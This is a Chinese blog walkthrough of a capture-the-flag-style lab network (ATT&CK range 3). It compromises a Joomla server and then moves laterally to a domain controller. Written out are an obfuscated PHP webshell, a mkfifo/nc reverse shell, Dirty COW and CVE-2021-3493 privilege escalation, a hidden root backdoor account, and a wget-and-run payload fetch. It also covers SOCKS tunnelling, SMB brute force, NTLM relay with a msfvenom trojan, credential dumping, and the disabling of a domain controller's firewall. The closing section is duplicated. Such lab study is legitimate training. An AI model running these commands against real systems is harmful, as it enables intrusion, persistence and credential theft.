ATT&CK(三)


title: ATT&CK(三)
categories:

  • 靶场
  • ATT&CK
    abbrlink: 2700
    date: YYYY-MM-DD HH:mm:ss
    tags:
  • 靶场

ATT&CK(三)

  • 靶场信息

基本信息

**作者:**licong

环境配置

打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行。

挂起状态,账号已默认登陆,centos为出网机,第一次运行,需重新获取桥接模式网卡ip。

除重新获取ip,不建议进行任何虚拟机操作。

参考虚拟机网络配置,添加新的网络,该网络作为内部网络。

注:名称及网段必须符合上述图片,进行了固定ip配置。

描述

目标:域控中存在一份重要文件。

本次环境为黑盒测试,不提供虚拟机账号密码。

大致拓扑如下:

20191223205755-d65c291e-2583-1

攻击机:
重启网卡命令:systemctl restart networking
kali ip:192.168.0.22
靶机:
centos 进去先重启网卡service network restart,web1-ubuntu是Nginx的反向代理服务器(打开web-centos的同时一定要打开web1-ubuntu,centos的web服务才能正常服务,否则会报502网关错误)
web-centos 外网ip:192.168.0.37 内网ip:192.168.93.100
web1-ubuntu ip: 192.168.93.120
PC ip: 192.168.93.30
win 2008 ip:192.168.93.20
win 2012 ip:192.168.93.10
转自链接:https://www.wangan.com/p/7fy7f37227f98858

image-20230514115520968

外网渗透

Joomla后台漏洞利用

因为是黑盒测试,所以我们现在并不知道出网主机的ip

nmap扫描整个网段,探测存活主机即nmap扫描公网IP,以及开放端口

nmap -sP -T4 192.168.0.0/24

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3kBgBeu6-1684329610159)(C:\Users\29506\AppData\Roaming\Typora\typora-user-images\image-20230514140406399.png)]

靶机地址为192.168.0.37

查看端口开放情况

nmap -sS 192.168.0.37

image-20230514140854478

开放22,80,3306端口

80端口http服务,可以尝试登录网页

3306端口mysql服务,可以尝试SQL注入,远程连接Mysql等

查看80端口,

使用msf确定一下joomler的版本,use auxiliary/scanner/http/joomla_version模块,发现Joomla 的版本号是3.9.12

use auxiliary/scanner/http/joomla_version
set rhosts 192.168.0.37

image-20230514144747615

网上搜索版本号为3.9.12的joomler存在RCE漏洞,但是需要管理员的账户和密码,再接着信息收集。

使用dirsearch扫描后台,image-20230514144935856

1.php是phpinfo界面

/administrator目录是管理员登陆页面

image-20230514145128718

/configuration.php~页面发现配置文件,数据库的账号和密码,

image-20230514145427607

尝试远程连接

image-20230514150040243连接成功

找到了用户组image-20230514150328110

有一个超级管理员,但是密码被加密了

image-20230514150457002

但是我们会发现此处的密码是加密过的,那么我们插入数据也应该修改为加密后的密码

那么如何得到加密的密码呢?我们可以再 joomla 的官方网站找到思路

img

我们插入它的示例代码就可以添加管理员 J1Nmu/secret

d2064d358136996bd22421584a7cb33e是secret的md5

这里要添加到Super User用户组

INSERT INTO am2zu_users (name, username, password, params, registerDate, lastvisitDate, lastResetTime) VALUES ('Super User', 'J1Nmu', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()); INSERT INTO am2zu_user_usergroup_map (user_id,group_id) VALUES (LAST_INSERT_ID(),'8'); 

image-20230514152128453

使用账户密码登陆image-20230514152102766

利用命令执行之前先看看disable_functions

image-20230514152708191

exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source	
$_=(_/_._)[_];$__=++$_;$__=++$_.$__;$_++;$_++;$_=_.$__.++$_.++$_;$$_[_];
eval($_POST[_])

image-20230514153359772

在这里插入图片描述

最后观察页面上的信息,推测路径http://192.168.0.37/templates/beez3/joom.php,注意linux系统严格区分大小写

image-20230514154813473

连接成功后,绕过disables_functions,选择PHP7_GC_UAF模式或者下一个PHP的模式,然后点击开始,就会弹出一个终端

img

当前网卡ip与连接ip不一致,当前 ip 为 192.168.93.120,内核是 ubuntu,说明真正的 web 服务后端在 ubuntu。

image-20230514161158503

内网渗透

渗透ubuntu

信息收集
ifconfig           发现一个网段192.168.93.0/24   和 一个IP地址 192.168.93.120

cat /etc/issue         	#查看系统名称          Ubuntu 16.04.6 LTS \n \l
cat /etc/*release      	#查看linux发行信息
uname -an               #查看内核版本 
cat /proc/version     	#查看内核信息
cat /etc/passwd   		#存放用户名信息,没有密码信息
cat /etc/shadow         #存放用户名密码信息,密码被加密,只要root用户才能读取
whoami     #查看当前shell权限      www-data
id  		#uid=33(www-data) gid=33(www-data) groups=33(www-data) 

结合上面的信息

Centos是Ubuntu的反向代理,用的是Nginx协议

在这里插入图片描述

继续信息搜集,ssh密钥无权查看image-20230514162324970

找到一个文件/tmp/mysql/test.txt

image-20230514162535702

ssh连接centos

用户名wwwuser

密码 wwwuser_123Aqx

经过验证是centos的ssh连接

image-20230514163535639

ubuntu&CVE-2021-3493提权

第一步是先将绕过disable_function的shell反弹到centos上(因为不能出网)
centos 离线安装 nc:https://blog.csdn.net/weixin_40583191/article/details/106803430

上传到centos安装nc并监听2333

rpm -iUv nc-1.84-22.el6.x86_64.rpm
nc -l 2333

#ubuntu 反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.93.100 2333 >/tmp/f

image-20230514203450700

Ubuntu特权提升漏洞(CVE-2021-3493)

漏洞描述
OverlayFS漏洞允许Ubuntu下的本地用户获得root权限。Linux内核中overlayfs文件系统中的Ubuntu特定问题,在该问题中,它未正确验证关于用户名称空间的文件系统功能的应用程序。由于Ubuntu附带了一个允许非特权的overlayfs挂载的补丁,因此本地攻击者可以使用它来获得更高的特权。

影响版本
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM

刚好ubuntu16.04尝试提权
EXP下载地址:https://github.com/briskets/CVE-2021-3493

下载好之后直接上传exp,

image-20230514205017921

gcc exploit.c -o exp
chmod +x exp
./exp

成功提权image-20230514205103468

渗透centos

信息搜集
whoami
uname -a
hostname
groups
pwd
内核提权(脏牛提权)

image-20230514164343874

内核版本较老尝试脏牛提权

原理:
linux内核的子系统在处理写入时复制至产生了竞争条件,恶意用户可利用此漏洞来获取高权限,对只读内存映射进行访问。并且在提权的时候,杀毒软件并不会检测到。
竞争条件,指的是任务执行顺序异常,可导致应用奔溃,或令攻击者有机可乘,进一步执行其他代码,利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获取到root权限。

影响版本:
Linux内核> = 2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。

危害:
低权限的用户可利用这一漏洞在本地进行提权
工具地址:https://github.com/FireFart/dirtycow

将 dirty.c 上传到 centos的**/tmp**目录,
image-20230514164929093

对dirty.c进行编译

gcc -pthread dirty.c -o dirty -lcrypt

执行编译后的文件,并设置密码,要先删除rm /tmp/passwd.bak

./dirty 123456
id 			#显示用户的ID,以及所属群组的ID;uid=0,为root用户

image-20230514165417456

成功提权

su firefart
123456

image-20230514165558187

权限维持,添加 root 后门
# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/mysqld
CrossC2 上线centos(该过程不包括免杀)

项目

https://github.com/gloxec/CrossC2/releases/

./genCrossC2.Linux 192.168.1.113 6666 ./.cobaltstrike.beacon_keys null Linux x64 test stager 4.7

配置监听器image-20230514212051921

test2上传并执行,原文中用的4.1我的是4.7没有成功,只在CS服务器显示回显

image-20230514220804998

上线msf
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp 
set lhost 192.168.1.119
set lport 8088
run

image-20230514170500201

复制payload到centos执行

wget -qO WUgJZxuo --no-check-certificate http://192.168.0.22:8080/kVce9ocllA; chmod +x WUgJZxuo; ./WUgJZxuo& disown

成功上线

image-20230514170619584

由于在获取的会话执行shell获取的不是完整shell,所以使用pyhton中的pty模块反弹一个完整的shell环境

python -c 'import pty;pty.spawn("/bin/bash")'

image-20230514223323266

run autoroute -s 192.168.93.0/24
background
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.0/24
exploit
ifconfig

image-20230514223413910

发现内网网段192.168.93.0/24

首先添加路由

route add 192.168.93.0 255.255.255.0 3

image-20230514231608507

添加了路由之后只有msfconsole能进入到内网,如果需要其它程序也能进入到内网就要建立代理

挂起会话,ctrl+z(挂起后使用命令jobs可以查看挂起的进程,使用命令fg %挂起进程号(例:fg %1)可以恢复

路由转发Sock代理

添加路由是为了能让msf程序进入内网,便于攻击

earthworm搭建socks5反向代理服务 是为了让kali(攻击者)的程序进入内网,可以扫描内网主机信息等

ew流量走向:本地流量–本地1080端口–web服务器1234端口(利用EW)-- 内网服务器 – web服务器的1234端口 – 本地1080端口

Socks5代理

上述的内网渗透,建立监听操作都是在msfconsole视图下完成的,路由转发只能将msfconsole带进内网,但是想要将攻击机其他程序也带进内网还需要搭建socks代理。

使用earthworm搭建socks5反向代理

项目地址:https://github.com/idlefire/ew/blob/master/ew_for_linux64

将工具放到了CS插件目录

chmod +x ew_for_linux64
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
  #将1080端口监听到的本地数据转发到 web服务器的1234端口
  # 通过1080端口,将本地流量转发出去
  #rcsocks、rssocks 用于反向连接
  #ssocks 用于正向连接
  # -l 指定本地监听的端口
  # -e 指定要反弹到的机器端口
  # -d 指定要反弹到机器的IP
  # -f 指定要主动连接的机器 ip
  # -g 指定要主动连接的机器端口
  # -t 指定超时时长,默认为 1000

image-20230514224627666

在CentOS上传 ew_for_linux64

chmod +x ew_for_linux64
./ew_for_linux64 -s rssocks -d 192.168.1.101 -e 1234
	#192.168.1.112 是攻击者kali的IP地址

image-20230514224812384

之后我们就可以利用proxychains将我们的程序代理进入内网了

测试可以ping通内网主机

ping 192.169.93.30

为什么这里是去ping 192.169.93.30而不是真正的192.169.93.30image-20230515134812055

存活主机探测

先添加路由,把 meterpreter 放在后台,进行存活主机探测。

run autoroute -s 192.168.93.0/24
background
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.0/24
exploit

得到了三台 TEST 域的 windows 主机

192.168.93.20 windows server 2008
192.168.93.30 windows 7
192.168.93.10 windows server 2012

使用nmap扫描每台主机

proxychains4 nmap -sP -T4 192.168.93.10

img

proxychains4 nmap -sP -T4 192.168.93.20

img

三台主机都是windows,10这台主机开放了53端口,可以推测出这台主机为域控主机

横向移动

Win2008

尝试爆破SMB win2008管理员
use auxiliary/scanner/smb/smb_login
set rhosts 192.168.93.20
set SMBUser administrator
set PASS_FILE /usr/share/wordlists/top10000.txt
run

爆破出来是123qwe!ASD

image-20230514201114765

MSF中PsExec漏洞模块利用
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.20
set smbuser administrator
set smbpass 123qwe!ASD
run

image-20230514221625163

但是一直掉线就很尴尬

查看共享目录并登录,我一直登不上

proxychains smbclient //192.168.93.20/ADMIN$ -U administrator
smbclient -l 192.168.93.20 -U administrator
我是用的上面哪个

在这里插入图片描述

NTLM Relay 攻击

原文链接:https://blog.csdn.net/weixin_46684578/article/details/118685782

工具使用说明:
impacket-master : 为了伪造smb服务器,抓取用户的密码https://github.com/fortra/impacket/tree/master
msf : 生成一个exe木马 ,结合impacket-master的smbrelayx.py使用

通过NTLM Relay伪造的SMB服务器拿到密码,利用msf拿下 win2008

大致的思路是:攻击者在CentOS上面伪造一个恶意的SMB服务器,当内网中有机器 Client1 访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给内网中的另一台机器 Client2。

因此我们的思路就是通过msf生成的木马shell.exe,上传到CentOS,用smbrelayx.py执行,然后CentOS上就会生成 伪造的SMB恶意服务器,内网主机访问SMB并输入账号密码,CentOS的上的恶意代码smbrelayx.py就会抓取内网主机的 Net-NTLM Hash,返还给内网中的另一台主机(本案例中为win 2008(192.168.93.20)),并通过CentOS上的msf生成的shell.exe回传给kali(攻击者),然后内网目标主机通过msf的监听上线。

首先利用msf的msfvenom模块生成一个exe后缀木马(开启远程桌面也是用到此模块)

msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.1.101 LPORT=4567 -e x86/shikata_ga_nai -f exe -o shell.exe
	#192.168.1.106 是kali的IP地址

将生成的木马文件上传到CentOS(看得出来木马已经很老了,火绒都能检测出来)

下面我们下载python3 环境

由于有一个认证失败的原因,因此不能直接用 pip install --upgrade pip 的方式。要用下面的方式进行安装

wget -c https://www.python.org/ftp/python/3.6.9/Python-3.6.9.tgz
tar -zvxf Python-3.6.9.tgz
cd Python-3.6.9
./configure --prefix=/usr/local/python --with-openssl
make && make install

ln -s /usr/local/python/bin/python3 /usr/bin/python3
ln -s /usr/local/python/bin/pip3 /usr/bin/pip

pip install --upgrade pip -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com
pip install six -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pycryptodomex 
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pyOpenSSL
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com ldap3
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pyasn1
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com impacket

ln -s /usr/local/python/bin/python3 /usr/bin/python3

这个命令是用来创建一个软链接(symbolic link)的。软链接是一种指向另一个文件或目录的特殊类型的文件,类似于Windows中的快捷方式。这个命令的意思是将/usr/local/python/bin/python3这个文件的软链接创建在/usr/bin/python3这个位置,这样您就可以用/usr/bin/python3来执行/usr/local/python/bin/python3了¹²。如果您想了解更多关于ln命令和软链接的信息,您可以参考以下网址:

然后进入Impacket的examples目录执行如下命令:

python3 smbrelayx.py -h 192.168.93.20 -e /home/wwwuser/shell.exe
  # 攻击信息都会反弹到192.168.93.20这台主机

执行完python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe。此时,如果内网中的有域用户访问再次通过CentOS代理访问站点时,访问的就不是之前的那个Joomla站点了,而是攻击者在CentOS上面搭建的一个恶意的smb服务,会弹出一个认证页面:

image-20230515164901017

安全意识差的用户自然会输入自己的域用户密码,然后smbrelayx.py就会抓取到该用户的Net-NTLM Hash并重放给内网中的另一台机器 192.168.93.20(Windows Server 2008),成功后,会在Windows Server 2008上面上传我们预先生成的木马shell.exe并执行。因为smbrelayx.py指定的是192.168.93.20这台主机

由此命令 python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe 可知,smbproxy.py抓取的用户名密码信息都会重放到win 2008(192.168.93.20),所有要对win 2008进行监听

在msf上开启对 win 2008(192.168.93.20)的监听
然后在win7上访问smb服务器,使得win 2008成功上线
顺序不能错,一定要先开启监听,在用win7登录smb伪造服务器

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.20
set AutoRunScript post/windows/manage/migrate
run

image-20230515164957393

这样就获取到win 2008的权限,可以通过meterpreter 对win 2008进行后渗透

注意这里在监听bind_tcp时一定要设置进程迁移,否则在Removing file的时候,会话也随之关闭了

image-20210204161108544

win2012

定位域管理员

PVEFindADUser.exe:它通过检验注册表里HKEY_USERS的key值来查询谁登陆过机器,可以查找域用户位置、某计算机上登录用户,定位管理员
需要注意的是:该工具的某些功能需要管理员权限

upload /root/桌面/PVEFindADUser.exe

拿下Windows server 2008之后,然后进入shell中执行如下命令:

shell
PVEFindADUser.exe -current

如下图,成功显示域中所有计算机上当前登陆的所有用户:

image-20230515170658043

meterpreter的kiwi模块抓取密码

成功抓取到了Windows 2008本地的管理员用户和域管理员的密码:

WIN2008\Administrator:123qwe!ASD

TEST\administrator:zxcASDqw123!!

使用获取到的密码控制 win7

思路:由于域内的用户名密码可以任意登录主机,因此获取用户名密码后,就可以利用 msf的exploit/windows/smb/psexec模块 登录其他主机

由于在使用NTLM Realy的时候,win7(192.168.93.30) 登录smb伪造服务器也会被 win2008(192.168.93.20)记录来了,猜测应该可以用同一组密码登录 win7

下面尝试登录 PC (win7 : 192.168.93.30)

use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set SMBUser administrator
set SMBPass 123qwe!ASD
run

进攻域控(win 2012)

思路:由于获取到了域管理员的密码,首先尝试用msf的exploit/windows/smb/psexec模块登录,登录失败后,尝试其他方法。在msf上用msfvenom模块生成exe木马文件,上传到win 2008,将win 2008作为跳板,远程攻击win 2012。在win 2008上窃取管理员用户的token令牌,这样就可以通过win2008 访问 win2012(域控),然后远程关掉域控的防火墙,在此用msf登录域控,结果成功,接下来就是后渗透找目标文件

用同样的方式进行登录,通过上面获取的域控的用户名密码,通过msf直接登录,但是这次失败

setg Proxies socks5:127.0.0.1:1080
use exploit/windows/smb/psexec
set rhosts 192.168.93.10
set SMBDomain TEST
set SMBUser administrator
set SMBPass zxcASDqw123!!
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.10
run

窃取win2008的域管理员token令牌

use incognito
list_tokens -u
impersonate_token "TEST\adminitrator"

这样我们的当前拿下的Win2008便有了访问域控制器的权限

在C:\Users\Administrator\Documents目录里面发现了所谓的机密文件

关闭win2012(192.168.93.10)的防火墙

sc \\192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.10 start unablefirewall

再次使用msf的 exploit/windows/smb/psexec 模块登录win2012

成功上线截图留念

image-20230515172421581

image-20230515172448283

娱乐时间

msf派生联动cs

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=7720 -f exe > shell.exe
background  
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true 
set lhost 192.168.1.101
set lport 5570           
set session 4           
run

\Administrator\Documents目录里面发现了所谓的机密文件

关闭win2012(192.168.93.10)的防火墙

sc \\192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.10 start unablefirewall

再次使用msf的 exploit/windows/smb/psexec 模块登录win2012

成功上线截图留念

[外链图片转存中…(img-XUeu1BGI-1684329610172)]

[外链图片转存中…(img-ZLhfqgHx-1684329610172)]

娱乐时间

msf派生联动cs

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=7720 -f exe > shell.exe
background  
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true 
set lhost 192.168.1.101
set lport 5570           
set session 4           
run
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值